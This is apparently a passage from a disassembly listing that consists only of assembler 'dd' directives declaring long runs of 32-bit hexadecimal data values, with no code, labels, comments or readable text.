		dd 0CC0DC1CBh, 0E02454Ch, 40A7BF1Bh, 0B7353E52h, 58C41D4Bh
		dd 8FB200F9h, 427D7119h, 93FF300Eh, 370BA280h, 0FB51E0CBh
		dd 74100BF2h, 0B5004538h, 53679489h, 2DE74F00h,	0CC4B8C81h
		dd 0AAE100BBh, 0AB1518CAh, 9F13C9A1h, 0F0406E65h, 991C34A0h
		dd 3F8400D3h, 5E9431BEh, 622CF7ECh, 4A8F0C22h, 7390A054h
		dd 18083EFh, 3167A45Eh,	50147DD3h, 0B4932FD8h, 217EEC92h
		dd 0ADF49F01h, 5C55C4B8h, 268030h, 3FE653D4h, 85DF5AAFh
		dd 73944700h, 0F42386F6h, 0D50900C2h, 6CF3EACFh, 0FA00995Bh
		dd 32102072h, 3ADAB7Fh,	0C3E544F9h, 10187663h, 0F374B366h
		dd 2F6A008Dh, 310D95CCh, 13051672h, 0EBCB25D4h,	0C35A2CC0h
		dd 6DA300A5h, 0C4209DD2h, 4005E2Eh, 73E73C9h, 8B27ECh
		dd 192C8376h, 549112Ah,	0DD7D9101h, 0E339F53Eh,	129FECCh
		dd 54DECE36h, 0DCC7247Ah, 8C00E28Ah, 53FF8D8Bh,	4C5D0Fh
		dd 9BF5E650h, 78155719h, 14A10303h, 0B0CDCE05h,	1349988h
		dd 0B6A7B0E3h, 60203EBEh, 8F0FECA4h, 0C00DCC48h, 25520C66h
		dd 26C000C7h, 0D5C34D5Eh, 0CD1E3A99h, 238139CEh, 78C659A5h
		dd 880420h, 24B509A8h, 146BBBC8h, 6E00AFFEh, 9DD47E06h
		dd 35477Bh, 881C5033h, 30F1CE4Bh, 8F6A0E00h, 21DCB552h
		dd 0FAC30AADh, 450891Fh, 0C0F01013h, 0BB187D0h,	27F426E2h
		dd 6852A700h, 0A3E1D721h, 0CF8639D4h, 43A6AD07h, 0D61E90B9h
		dd 0B50472EDh, 617940AEh, 7CF486C0h, 0EB48001Ah, 0BF2EC751h
		dd 9524D1B1h, 0C20EA60Ch, 1D9D7F14h, 0E2BE2182h, 0A080C3C7h
		dd 0E8C9BCh, 6AF11030h,	0D56E68A7h, 35003BF8h, 0E4CB0476h
		dd 0B597C0h, 0B591411h,	0FEA85AFCh, 9748E639h, 0B0017552h
		dd 77ADD199h, 0EB508847h, 0E660AE30h, 13F4F1h, 0DE52EC47h
		dd 72D59F23h, 338B6900h, 993E1C46h, 0AF435C38h,	97DC1400h
		dd 0B33647F3h, 9F0058BAh, 3DD38F91h, 71622FFCh,	0B083F2Ch
		dd 748A9200h, 983290B9h, 0C457400Eh, 0FEAFA073h, 7AA8211h
		dd 26BBE035h, 4790301Ah, 3900C219h, 0F8B8CF8Dh,	3D08F537h
		dd 0C003F470h, 9DAE83F9h, 0BCDE5BE0h, 6C0248h, 0A4797324h
		dd 4ABD8Fh, 0B50DBEF5h,	11623419h, 80376D3Bh, 0B39CFCE2h
		dd 0E4C3BFCBh, 0AF6B0036h, 5E1E201Ah, 0BD0097D1h, 0B405C1ADh
		dd 0C0773FF0h, 0D36763E8h, 0BE98FABAh, 0F58CD700h, 0CBB4A730h
		dd 62DC0FC2h, 5D60D9B1h, 0FB32FF4Ah, 40CE9216h,	0CB6D940Eh
		dd 31A41093h, 0EA7D3B1Dh, 1010A6h, 5107B6BEh, 1501D453h
		dd 0D2B12912h, 4860907Ah, 5491BDh, 5E0FF1AAh, 0BF00B6BBh
		dd 0F0904DFAh, 0D2FEBh,	475438C9h, 580E3116h, 4B447E00h
		dd 2EEBF7EAh, 0B9720023h, 0FBDB113Eh, 52B08D9Bh, 0DDEC1CB0h
		dd 2C025Ch, 894D13FFh, 757A0CAEh, 27BD0020h, 0A1F023A6h
		dd 810CE192h, 10227EE3h, 32600B6h, 0B436696Ah, 0C03C145h
		dd 7CBD3EAAh, 80C4A8D7h, 92FE2459h, 1CD600C8h, 0F128E520h
		dd 40345F27h, 0CB0BD0h,	1F583D39h, 572D1705h, 2154BF00h
		dd 0D204EDF6h, 2279C9h,	61391BBDh, 0C857EC80h, 5CD57B09h
		dd 0F3CC8188h, 0D8284E25h, 70A4BDC1h, 494FDC6Eh, 0A80C5700h
		dd 608B6CAAh, 0ACFC4Ch,	20DBC853h, 0C0F1E265h, 260F0114h
		dd 0BE1800D4h, 3F8E0AC3h, 0D5410067h, 0D939B664h, 3019E45Dh
		dd 0B8D0711Bh, 3A3C7827h, 0CEDAFC80h, 684A930Fh, 28F04Ch
		dd 0B46C7D60h, 0BAD0A2h, 5E568F09h, 79613E1Eh, 468AE601h
		dd 54734C3Ch, 0EA7B08C8h, 0CF943EF7h, 0EB539800h, 0ACCBFAEh
		dd 992CD100h, 0E8136645h, 7C59008Ah, 0ED622B42h, 0FC00C553h
		dd 70799891h, 49348Ch, 4C784531h, 2F5322EEh, 18161200h
		dd 32B96DBAh, 0F897000Dh, 0F8C3509h, 0E902809Bh, 675F063Ah
		dd 0F8E6EEh, 0B1E4E8F1h, 0F99CA0C9h, 0E5927300h, 44F668F4h
		dd 0EABF00FAh, 0CF4654ABh, 57542969h, 390E3CA4h, 0C084C236h
		dd 0FCC8B43Ah, 47E90104h, 76929FDDh, 36020070h,	0A2008491h
		dd 20B66974h, 10955476h, 2F14340h, 0F2518689h, 0F901605Dh
		dd 0B31000A1h, 0AE875C54h, 1C90D181h, 0B8984C0Eh, 0DF4A630Bh
		dd 6128000Ah, 458BA605h, 46F0817Dh, 4F178501h, 42F68775h
		dd 0E90E5C22h, 0B8A3D814h, 95CA647Ch, 0CBE43A00h, 0B48C3BD1h
		dd 3FDC2180h, 0D62FE82Dh, 50435800h, 0B2101289h, 0FEF10023h
		dd 0A7A1E95Ah, 5B00172Dh, 0CCCFF78h, 8FCA0D4h, 886372Ch
		dd 4ACB4F80h, 58E06BCAh, 0B30AFEF5h, 8260A8EBh,	60E6AF32h
		dd 8A275200h, 3CFA79h, 818F3ECFh, 5B7051F1h, 0A05D7C28h
		dd 18BD2F58h, 4E383B25h, 32E500C0h, 4F5D6693h, 11769FD7h
		dd 8500349Eh, 0C7B2ABAh, 0F1552E10h, 73D78054h,	5CE9CE4Fh
		dd 0E6173490h, 6841C14Ah, 0CD62F9D0h, 77B2D0h, 0F1EF142Eh
		dd 0CFA04CFCh, 0E37D8300h, 0DD0E09AAh, 0E5FE0AFFh, 4B0F73Fh
		dd 0C496B2A4h, 600C87A2h, 6CFAC612h, 0A38EA80h,	0E03CF81Ch
		dd 0FCAF80B4h, 2925DF18h, 0F903F400h, 0D35B4963h, 0A0D0040h
		dd 5A37F1D2h, 0C900AAE7h, 835D1D2Fh, 0A5CCBD0h,	0B758D906h
		dd 7AFF00B0h, 0B95BCD5Ah, 0EF0F4900h, 0C305120h, 2FDF0B74h
		dd 7100A418h, 21B8F85Ch, 49BEB00h, 0A0ADA93Ah, 0BDA80063h
		dd 0C56477A1h, 2900AFF9h, 395C67F6h, 0E37817h, 0EBA89F25h
		dd 0E0CB9957h, 7328DC78h, 0FB049C5Bh, 0F45AB667h, 25AEE0C1h
		dd 92B1CCh, 472FC505h, 24BD550Bh, 29007C92h, 0F4F8E170h
		dd 0DF23A2h, 58C89C06h,	82EA6E61h, 0DC0031EEh, 8A288B19h
		dd 7D027Ch, 29E53ECBh, 5D87BBEEh, 6ACF2A24h, 0A1075B1Dh
		dd 0DEA0AA73h, 78C869h,	0D1793F8Bh, 1B949903h, 0C518E500h
		dd 47F82E92h, 90F5B009h, 93520093h, 2F1A02CFh, 4D0019BDh
		dd 0F7457EE9h, 0CFCAAE1h, 6816B1A8h, 7504BEE0h,	0E8F05D27h
		dd 0D441DCC0h, 93841698h, 0FCB8B049h, 36858F01h, 0DE8A6B92h
		dd 1F3A1DECh, 17F70AAEh, 58840063h, 53B09F34h, 8D94FD14h
		dd 4EAB09DCh, 9BE89095h, 0F4F1FCD5h, 196A0222h,	92745494h
		dd 17365848h, 93B6AF00h, 0B440BBA8h, 65900066h,	59E33507h
		dd 1B004F27h, 0F2839A88h
		dd 1CB4C705h, 40FC8BDBh, 0E863E39Eh, 9B4F27DEh,	0C9AC8801h
		dd 2470151Ch, 3F2400CAh, 307958F3h, 0A574456Fh,	2EEC854Dh
		dd 5C014F73h, 9C2EE3D3h, 1231BDD8h, 0E06FF1ACh,	8B79C31Eh
		dd 1E25F775h, 0F5348041h, 7E297Bh, 85FF04FAh, 988E2852h
		dd 0D4321500h, 9D9168D1h, 2EAA7B48h, 1FDC0D94h,	0EC920B8Ch
		dd 7C62B803h, 0A16C7698h, 6C5C48h, 591CBFF2h, 11D2504h
		dd 482637E2h, 0F8D80A6Dh, 0C60BB6C1h, 8045CF68h, 385CF482h
		dd 681B5C99h, 8B8F0B00h, 44944DEAh, 1E5FFD00h, 0FF0E9A9Eh
		dd 0B5D0002Ah, 95EB148h, 11150872h, 0BC9F78h, 0BB992332h
		dd 0B04367DBh, 422C5B94h, 9986060h, 0C028A8A4h,	0CB36F170h
		dd 54D4AE02h, 60B7201Dh, 9139DBh, 0A9D9CDDEh, 60D34723h
		dd 7CE67200h, 0C2BC88FBh, 6B200021h, 0ABC72478h, 53793055h
		dd 7291E401h, 0DB125AD2h, 0CD576983h, 0BCFBEB6Bh, 0D1883DB0h
		dd 0AF1D52EEh, 0F5805AB7h, 0CE3E36C2h, 3E8A1ACh, 0C0A0A8CFh
		dd 5318002Ch, 4D685D24h, 7D0631CFh, 6DC7F9D8h, 0CD300080h
		dd 23F45848h, 5079D271h, 0D43C8300h, 0F6C80FA3h, 6534008Dh
		dd 0E3F880Bh, 0F107C214h, 0DEA21238h, 27844AA0h, 0C8660069h
		dd 7FF4B073h, 26001C24h, 1B6CD2A8h, 59AFA2h, 8FCE99A9h
		dd 49BDF520h, 0CF1C3677h, 0FA4C8CE6h, 24A292Bh,	28233E30h
		dd 0D48095C0h, 787625D3h, 640C4503h, 0BB106735h, 996089D6h
		dd 1A655E0h, 93D9FBC7h,	0DC4B3B9Dh, 21987142h, 0D7502A00h
		dd 44D23369h, 0F7AD00B8h, 0FBE47053h, 4E046EA2h, 16E61A62h
		dd 8CC9ABC2h, 0E05E29A7h, 49013B7Ah, 0A54A9B80h, 0F8811FBEh
		dd 71358B03h, 0E8A860B0h, 50F250FCh, 497B517h, 10DD54F0h
		dd 406C8709h, 4A70BD4Fh, 80CE9B00h, 0D5A9E07Ah,	394890DFh
		dd 9B505379h, 4FA70078h, 0AAA42EEBh, 8D176B96h,	700B232Dh
		dd 0F550808Ah, 24EBE081h, 6C0D2Ch, 0BB1FBA7Fh, 0A62E6A2Ah
		dd 6516482Dh, 0CFE48B00h, 1DEB974h, 0B3E08E9Bh,	0CCE815EAh
		dd 6600722Dh, 8A2AA2EDh, 0BCD8A0h, 69C3D5C0h, 0FB0F917Eh
		dd 39FF7D00h, 60FA80BDh, 438D0038h, 485D9D08h, 194B901Fh
		dd 5CB12000h, 76398073h, 1ADB032Bh, 60C0A532h, 0E0F8C784h
		dd 0F64A517Ch, 7E0B9491h, 0CB00C0A3h, 75CB0D3h,	0AE9846C4h
		dd 24547093h, 3900EE70h, 3DFB91C8h, 4ABF076h, 0A4CD50B8h
		dd 7B2CA0AFh, 92124100h, 8174A9Dh, 6F730263h, 5FAD841Eh
		dd 507C4CC1h, 59070334h, 17F6C400h, 43BA47DAh, 566500B6h
		dd 2B9731D5h, 69601EF9h, 0D1FAB360h, 38A50010h,	2C5F9DDEh
		dd 67007855h, 0CD5DE276h, 0EC6FC7h, 8D1CF93Bh, 53803E6Ah
		dd 0ACF62101h, 0D5CCB80Ch, 6958588Fh, 28C126A0h, 810BE44Bh
		dd 804A2B32h, 0E3E11B88h, 0A6CF001Fh, 2FFA4C75h, 0B598054Eh
		dd 4D29600h, 0C2B113E7h, 0AB070FDAh, 0B2E027FAh, 6ABD45BCh
		dd 0A6884800h, 0B43DA5C1h, 7D09004Dh, 0D8C5A9FDh, 0FE00A159h
		dd 3C58CF48h, 20A081h, 0FB5DB78Eh, 67396395h, 8F000496h
		dd 0BE193D66h, 8B5C00D0h, 0F2042CB2h, 0D41E2DCCh, 8440FB8Eh
		dd 10DA8CFh, 0A19D2420h, 897F0187h, 0ECCEE53Ah,	0F10410E8h
		dd 8B67BA53h, 87A380BFh, 0E6013878h, 0FD8675EEh, 8460CB55h
		dd 1DF00ADh, 0BBCA4A37h, 0DE39B71Fh, 757E00F4h,	97A5AB7Bh
		dd 7E567A8Ch, 84C9002Ch, 9C78BB08h, 9038281Bh, 518E02Eh
		dd 0E09DD25Fh, 0AB10C02Dh, 0DE1BF00Ah, 45962800h, 0ADA42F67h
		dd 0CB6A00CEh, 0A353135Dh, 3BE2932Ah, 1F64FC2Eh, 3F63742Fh
		dd 25C95001h, 31BFF0B4h, 0E6545289h, 44810h, 0E7477576h
		dd 1418AEA0h, 943EFCFAh, 6B01F5E8h, 0D8837148h,	8038E686h
		dd 0DAF26900h, 531D48Fh, 0EFBC9900h, 4BA23573h,	0B012FE38h
		dd 0EEF53E20h, 9D6C1D4Ah, 312EC073h, 8FA9642Ah,	5117F4B0h
		dd 5CD8DDA2h, 3EE60B53h, 6CA08FFBh, 9EF7CC39h, 45CAC309h
		dd 8ABC02BBh, 59D68218h, 0A5F2605Fh, 2D140047h,	4BDE2480h
		dd 0E600AE55h, 0C3381DCh, 0FF31C22h, 85F5841Bh,	75898F21h
		dd 0A42060EFh, 8ADF9200h, 0D7423C39h, 6E560049h, 30094C95h
		dd 73B0D07Fh, 383FC400h, 6A0610D4h, 7965009Ah, 0A3F32F93h
		dd 8B0727AFh, 0EA4F144Ah, 0BDEE71A0h, 0BAD30C54h, 79102E15h
		dd 11CA0800h, 2462D847h, 4C400705h, 51330732h, 601FA4B2h
		dd 0E7FC81C1h, 71986900h, 0A7AC8BE1h, 0B06F0034h, 0E3CC9EEFh
		dd 5A01C1EDh, 19911B1Eh, 13306A2Fh, 77616C3h, 9808C029h
		dd 1800B60Dh, 68066333h, 1E1AA62h, 0F405A7FDh, 3140DB21h
		dd 601CCD8h, 0DC370300h, 0C6D4CE62h, 4838EBE5h,	0EE511600h
		dd 0F5542949h, 0C80F4Ch, 0E63763A7h, 0B2BB3Bh, 0E141B07Fh
		dd 8479FBD5h, 0A5F49309h, 6C1CC0B3h, 7B237071h,	0B46F8FAh
		dd 3C2B37D9h, 6809C4A1h, 0BC3993h, 0F2599E7h, 0A89BF4Bh
		dd 24BE0583h, 0D61E00ACh, 4F31EB8Ch, 933C1D3Ch,	4000B265h
		dd 0D42F1CBCh, 18090091h, 0B4554A21h, 0A6077D74h, 62C82E56h
		dd 0D67CE1ABh, 652E001Eh, 21907308h, 4911322Bh,	0A643C974h
		dd 84335DF8h, 4AB0E9F4h, 0CD98C100h, 28A45E81h,	9C6D3B86h
		dd 650A7380h, 0C9FD9D5Dh, 718F43Ch, 26C2788h, 90487020h
		dd 7F300CFh, 0FDB2672Eh, 0C298B580h, 327CF700h,	121A9362h
		dd 0F49850DAh, 166890C5h, 0A9ABB7Dh, 0F8186Fh, 6A0AEF0Eh
		dd 0CD00D839h, 0A8FEB560h, 3ABD481Ah, 989243CCh, 0E4F0405Dh
		dd 6E492656h, 0F8D60603h, 0EAD1B9BFh, 1E2050D4h, 405E1C1Fh
		dd 4FD740A5h, 4D0373BEh, 809ED49Bh, 50D09AE5h, 0BC790028h
		dd 0F17C483Ch, 0AB1D063Ah, 15DF1C1Ah, 13B19DC2h, 2C70AFh
		dd 2425D585h, 0B7556E40h, 5A51BC00h, 868F2DE2h,	0CB5094C0h
		dd 0C47E5000h, 0C84E6458h, 0AD984401h, 0C3C9B17h, 0E1D2A200h
		dd 0F84D2B5Bh, 8275897Dh, 45008E78h, 0FABDC77Bh, 98B4A5CAh
		dd 0AF5164Eh, 68F100ADh, 0A2BFB2DEh, 0FD8EE000h, 6E1B0402h
		dd 1E987648h, 0C0300A94h, 0CA20FFE4h, 0B2007B69h, 9E3A8ABDh
		dd 0A3A9C5h, 0B60398D2h, 69466B23h, 0B5E80200h,	5DDBFB65h
		dd 44790034h, 5B33D0F7h, 14058ED2h, 0D97248C8h,	0F07594C0h
		dd 63D7EAE5h, 0A5AA61F8h, 24017EF9h, 249C3648h,	0BE356560h
		dd 2D1900DDh, 72020EF7h, 0CA004CCCh, 7A7E2CB1h,	0A580FCh
		dd 0FDB7463Bh, 15F08E22h, 304B5EE0h, 822BD800h,	764D956h
		dd 968A9C42h, 0D0A1ABDDh, 0FE81A66Dh, 650E6870h, 0EE1BBF73h
		dd 0FC348289h, 0C51C60DDh, 33977869h, 7111CEC2h, 0B3F1E9C0h
		dd 0CCA6DD00h, 1DE12B12h, 750E034Bh, 0EE608A4Dh, 0C3C0B2FAh
		dd 4824EA76h, 3385408Fh, 2C5EE493h, 80959C46h, 8B9D3B28h
		dd 90825998h, 5401EC5Ah, 9781DB8Fh, 30B9C7D8h, 9450C585h
		dd 0DD5C05B7h, 8C680030h, 2BA17698h, 638A340Fh,	36690116h
		dd 0B8DCD52Ah, 8B950058h, 55D4C3EAh, 0D100271Eh, 5908678Dh
		dd 874D33h, 761A183h, 0EE547F1h, 5653C200h, 0E4A23B41h
		dd 0C6A4006Ah, 0F854F55h, 0AF51A1D9h, 0A360E88Ch, 9200C177h
		dd 0BD72A29Fh, 49EDFDh,	5BA05798h, 0A9B79A19h, 5D687B07h
		dd 0A260A87Dh, 990FE7h,	0DFE30C8Bh, 7E8C15BDh, 6A129500h
		dd 57D5A61Ah, 0E79D0017h, 0F48DBB77h, 0DF7888DBh, 0A2FFD700h
		dd 0B859FB95h, 489DFA96h, 313E3F6Ah, 0C35A9400h, 66A7C2B5h
		dd 450EBE00h, 5DB997C8h, 2A991D98h, 0A06874h, 0F99EA5FDh
		dd 0CA123E23h, 7B7B7F73h
		dd 2C195300h, 0AF9D73D9h, 846000C9h, 3FE1D020h,	0CF7F5F80h
		dd 0F8458300h, 0A96154ACh, 287E1636h, 0C2A800FCh, 0F109D3C0h
		dd 0D0557800h, 26994514h, 18E700C6h, 3BC45F66h,	0FC014F8Bh
		dd 0CE3947BDh, 3F4A9F7h, 0EED50018h, 152A1650h,	0AE006989h
		dd 1A8597ADh, 13D3BBAh,	0E344A91h, 0FCD5D67Ah, 3A9D7146h
		dd 5F0415B0h, 0AF01EB80h, 293D8F56h, 0D634B2ACh, 155B42Fh
		dd 0BAC4A22Ch, 0AC74023Bh, 90234C3h, 649020AFh,	0A219C21Bh
		dd 0B829B94Ah, 0A9445E08h, 23228484h, 11D442A7h, 8821AB5Ch
		dd 90BB9808h, 928484E0h, 0DF447C48h, 9010FC22h,	65408894h
		dd 8082589h, 78304284h,	44AB5F44h, 11F124B0h, 3812AE2Eh
		dd 89B6C610h, 0D8FD1030h, 878E0421h, 0C18616EFh, 70E3F007h
		dd 0E07AEBA3h, 32818300h, 9FB7F53Bh, 0ADFF004Ch, 6CD6E8Fh
		dd 2F007C75h, 78A52ADAh, 18230Ah, 8373900Dh, 0BF28462Bh
		dd 0E30316E8h, 9884FF45h, 94B7A13Bh, 5EA270h, 6766D407h
		dd 23248BFDh, 0C1797203h, 0D3BB6ADDh, 0BAA18049h, 2DF307D1h
		dd 802C423Dh, 0AA1FEDACh, 0CD646707h, 8330794Ah, 94226DEh
		dd 333543EEh, 4EA80800h, 3000CBF7h, 95B8D623h, 390C1999h
		dd 25F93664h, 0DB56583Ah, 0E7FF5500h, 0E8FED08h, 9A59277Eh
		dd 13D278D8h, 0C222908h, 0D54407FCh, 0F9770C6h,	0A200BC7Ah
		dd 1AFAF943h, 0BB29562h, 17F8A408h, 88AF9020h, 0C11C8E90h
		dd 0C5C051E5h, 6EBC7B8Fh, 0BE280398h, 6D2119Dh,	2B2F59F0h
		dd 0D46D1200h, 44DD85CAh, 0AAC000AFh, 99EB5F8Dh, 0C75C1CE7h
		dd 17780E39h, 10FBA0DDh, 7C3CDC4h, 6A459308h, 27BA1096h
		dd 700047E0h, 0F7FB3A84h, 1CD64A24h, 80DD8CBCh,	0B56C3D8h
		dd 0EF3EA20Fh, 0D75200F6h, 8EA414CDh, 8CBA16B7h, 4FB900E1h
		dd 43D9A3C7h, 3E03637Ah, 0BF86612Bh, 0B073C322h, 71C760E9h
		dd 4BB61C34h, 769EC090h, 7E2BD6B3h, 0D02C477h, 0BBA9D414h
		dd 0C6B4E819h, 0AA601E97h, 0A712401Eh, 0DE1440D8h, 0E26B6D1Dh
		dd 942D4Eh, 0C8D25C4Ah,	95010158h, 83F22B1Eh, 65B0CCC1h
		dd 88C44E00h, 6ABCCE4Ch, 24E00048h, 2C0136D6h, 0DD0F9E89h
		dd 0E0E92E55h, 0F6CFC661h, 8C9F07F5h, 603E3A90h, 437D6BC8h
		dd 10A349h, 10DD1428h, 7AE6BCA7h, 161200E9h, 0EBBD255Ch
		dd 0E7002085h, 55CF4B91h, 48BE6h, 0A7B63DB9h, 24C640D9h
		dd 0BC5EB700h, 78D554FAh, 724B003Eh, 0DCF99111h, 880E4E31h
		dd 803FD68Bh, 48159561h, 7E3001Dh, 82DBC0A4h, 0C800BDA1h
		dd 600BDA68h, 8CF26Eh, 3D36FA57h, 521A2238h, 7C3B100h
		dd 0E3AAAC37h, 428002FFh, 92D28E77h, 7D093B40h,	6E433101h
		dd 0EFAAA3E0h, 36AB2880h, 717B8CF1h, 9D027E00h,	4C0F4852h
		dd 0E11C1FE6h, 0B318805Ah, 4125DE4Dh, 6AEC750Eh, 4FFA40CAh
		dd 0EABBDC24h, 0B137014Eh, 0C9E59A01h, 299ED4E9h, 0B2E8331Ch
		dd 6A307400h, 17886212h, 0EE02E7h, 1B765EFh, 5F00DA48h
		dd 71B577AEh, 4BF6E96h,	1864291Ah, 8733C0ADh, 41007982h
		dd 0EFE9A313h, 5B6F0E0h, 4B80A433h, 0A0A820C9h,	5160FF37h
		dd 8EE69A10h, 0D8F800EDh, 7362C524h, 6100DFF3h,	4DA364FCh
		dd 97D68Ch, 94E5959Fh, 0A7587263h, 4B0024F4h, 530DDFB9h
		dd 34698Bh, 772A1759h, 0CAB36D90h, 4D25F0A0h, 57F4100h
		dd 449829ACh, 6C2B0339h, 0DCDEECC8h, 0A8CC2EE8h, 65993A00h
		dd 797CE8B3h, 750F00BAh, 0A6F04C97h, 0C3007A6Fh, 0CABDF948h
		dd 24B71EF1h, 80144FB0h, 6BB53ECFh, 85EC31F0h, 0DBD8AA01h
		dd 0BBD3C460h, 77C50C4h, 0CB167157h, 0B594C0BEh, 0B300263Bh
		dd 0A077EE1Dh, 7BFCEA2Ch, 0CC8A05D6h, 87780C6Ah, 0B0F06612h
		dd 3D6CC800h, 0F71D9456h, 72E30C41h, 0B3810EE4h, 0E1A9A0A0h
		dd 59753200h, 8D62D7Eh,	22E8DFh, 238496AEh, 0AAF63C5Dh
		dd 0CFE6D701h, 12CBF390h, 308A2200h, 78B36000h,	7340E3ABh
		dd 3BA37751h, 0F4803CE0h, 0AD3A542Eh, 5E002F47h, 0C379CF12h
		dd 0FAFBA670h, 0BC409D0h, 3000F150h, 0EBE1E97Dh, 0F01E7400h
		dd 633D3542h, 0E45C01F4h, 0A32EF530h, 0E326E83Fh, 0D7C2BB03h
		dd 0E0EA5E9Ch, 0E0F1F619h, 81D91D72h, 0DB60045h, 1E9487C0h
		dd 0CD85F300h, 310849CEh, 0C4D7488Fh, 0A39B12h,	0CF8E0DCEh
		dd 0CD00F5F7h, 1917F1B3h, 0DD5A40h, 4F976529h, 6611BF46h
		dd 50004876h, 1EECD9AAh, 0DDE55Eh, 2A6318A2h, 9D7F3EFFh
		dd 5B182061h, 699F8385h, 6BB8077h, 8D49B5A1h, 0C704C10Ah
		dd 700A0BFh, 2F5576A9h,	4C0B0096h, 4A9C7D32h, 6900BBC9h
		dd 0D5E606E1h, 0F52E2B2h, 729F7A8Fh, 20746567h,	0FE662D88h
		dd 0DE8C0F07h, 0F820F42Fh, 56BD5Eh, 9F444634h, 0C713B588h
		dd 558DC51Dh, 48A0B01h,	0B2C060ACh, 6065E83Eh, 0A91AF092h
		dd 8330F3CDh, 0E07C1093h, 968C0012h, 0D7D1BDECh, 0A9E850FEh
		dd 0BF591E00h, 0A5849CD8h, 0A19900DAh, 0A0788716h, 3F09E0A8h
		dd 8E3A5B81h, 19A480EAh, 2DACC3Dh, 3CD35D90h, 0CC434EEAh
		dd 176856D0h, 1577E300h, 0B9235AAEh, 9A9C1DBDh,	21EF80BBh
		dd 4E2083E1h, 0D511271Dh, 0FA724180h, 94D392Ah,	454B4481h
		dd 8E662080h, 0A00A1D5h, 0DD689BEh, 392E8AA0h, 5F80DAF8h
		dd 197D497Ch, 920C3603h, 48C6AAE4h, 22AD00B9h, 55E6E5D2h
		dd 6B7072D3h, 56CAC31Fh, 14CB6340h, 875371h, 0D1ECED96h
		dd 54732B33h, 596A8900h, 0D3A5CB3Bh, 942C07BAh,	0C0C88A6Bh
		dd 88512EE1h, 0D4EECF00h, 0D3F718AFh, 0FBED125Fh, 0A97C00A2h
		dd 224DFC0h, 29923000h,	4F9468BAh, 61420551h, 80BB0F9Ah
		dd 46FA439Eh, 0BCE3D607h, 0AC30A59Ch, 5C938537h, 6C1D7A4Eh
		dd 54324266h, 8C81DD61h, 23A2801Eh, 416010A4h, 2C841307h
		dd 5E8503EFh, 8F4D79A8h, 23517600h, 0F8974E3h, 0AE401E59h
		dd 0FC5657h, 7A12D9BEh,	730B26E6h, 756EB646h, 0C3F1C80h
		dd 550B611Fh, 46920B0h,	7C80824Ch, 6BE418h, 0CA044806h
		dd 22AE9116h, 323D2C1Dh, 7E562600h, 13765BFh, 39D8A3F5h
		dd 70F67153h, 0CD1F6616h, 925F84CBh, 23FD6180h,	7F04836Bh
		dd 4EAF06BBh, 989544EEh, 0BA009C98h, 8E9ECB9h, 1EC2C3A1h
		dd 4323527Eh, 904C186Ch, 0EA4A9000h, 0C7995DD5h, 25DC036Ah
		dd 0B2F86866h, 98007CF3h, 0DF43308Fh, 14AE6C7h,	2561BA45h
		dd 3026854Ch, 580133FEh, 0ADD4A4CAh, 5430F890h,	368A00D2h
		dd 4E3A1E66h, 517C854Dh, 374BA600h, 0EFB48FB3h,	4C60394h
		dd 0A27A874Ch, 8643308Fh, 0DC0057A3h, 0EE08F232h, 949EB1Ah
		dd 12E9ADF6h, 2016400h,	2B0079E6h, 0D4A807AAh, 0E6A57FBEh
		dd 8FD0FBFh, 7A670AD2h,	9CEFF058h, 0E0928726h, 18D38C1Fh
		dd 16E40D47h, 2ABAEBC0h, 15AE3A48h, 9A893C89h, 7ABBB880h
		dd 0A0481AE4h, 48032644h, 5DAD1082h, 12D180E5h,	1E1CF1F2h
		dd 8B6B25D3h, 4C009AC8h, 4DE7F56Dh, 774C9092h, 0D19050F8h
		dd 0E9E53400h, 11F9F6A6h, 8F24005Ch, 3116B4C9h,	0AE1FAC6Bh
		dd 3B846842h, 0C4C0ED9Ah, 2C22A1Ch, 85FFBF32h, 38A7FA6Dh
		dd 67A9C082h, 9C003830h, 1E7E98E2h, 37A678h, 0BAB17BC2h
		dd 4B4649Bh, 0ECDA8C0Bh, 0E94E0771h, 1E1CEA50h,	8B8200D6h
		dd 0B7A9C177h, 0C71DAF34h, 6C6EBC2Fh, 4521E100h, 98563854h
		dd 31D71B4h, 0EECA2953h, 0D6B0C70Dh, 0D400E4EBh, 3C58B9B1h
		dd 43B27Ah, 0FC4AD8DCh,	2C7D0447h, 0E00AF100h, 0D4339831h
		dd 7BC03D5Fh, 4C497704h
		dd 2B680021h, 9B9FE44h,	4EDF26F7h, 6B77D800h, 0AE00255Ah
		dd 20844309h, 0E9F7FEh,	0A1147C0Dh, 0C7392B3Bh,	0C4E1B300h
		dd 70A8971Bh, 68D600F4h, 307F6491h, 5E025265h, 7C41FC18h
		dd 8EF1E07Eh, 0B8490262h, 87D9F54Dh, 45FF9440h,	7F5DD304h
		dd 90802A9Ah, 0BB9465h,	5BD1D19h, 0B5AE1BEAh, 802FC13Fh
		dd 41A014BEh, 9DC51h, 7443770h,	25B32B73h, 0F2D40200h
		dd 267DBDD9h, 706E3F5Ah, 0CFB413F5h, 0FAAC0Fh, 29E1419Eh
		dd 17E6D04h, 0A87C76E9h, 209F98B5h, 430F2D38h, 4085A04Bh
		dd 0EC3EC50Dh, 0B4CC002Fh, 93F6DDC8h, 404CEB20h, 4AD3007Fh
		dd 19793A88h, 0E0D87A39h, 69C90038h, 0D9E0EFCEh, 9C26F1B6h
		dd 0E2007CEAh, 42D81E4Bh, 2E5F0330h, 0F6DF1383h, 39E833F3h
		dd 40F1B33Eh, 0BF9D77ACh, 5CDCE03h, 909C1ED8h, 0F81190h
		dd 6A1B3F8Bh, 2BDE76D9h, 2E1D13Ah, 0F9B0C50Ch, 751848CFh
		dd 0F21B0E15h, 8FA0E661h, 8CD4AEEBh, 0C8898D00h, 7A7214A1h
		dd 0E0640E6Bh, 1B60C4D2h, 420934A5h, 0B019E300h, 5848354Bh
		dd 9FE90073h, 89FF7431h, 33218004h, 6A50804Ch, 0FBF4B873h
		dd 752EC700h, 4371158Fh, 9E060005h, 0D501FA80h,	490088D2h
		dd 0B42D4D3Ah, 5DD4E8Eh, 66AA3E1Ch, 0D0F4C0ABh,	0F8B1B1F5h
		dd 0EE0AED63h, 3C8D5120h, 1A8A1ECh, 8C6A3EECh, 61B686F8h
		dd 0A3A00421h, 87080058h, 0A2D62780h, 0CBD1609h, 749600C6h
		dd 0F0FAE6DCh, 204C1B1Dh, 0ACD6A7C4h, 629F30C1h, 355EEC4h
		dd 0D786342h, 7FB86ABBh, 1CB3D4D1h, 36000B1Ch, 0B8B6353Dh
		dd 67EC015Ch, 55EB4CE4h, 0FAC440CCh, 2800CE96h,	1B7DE34Ah
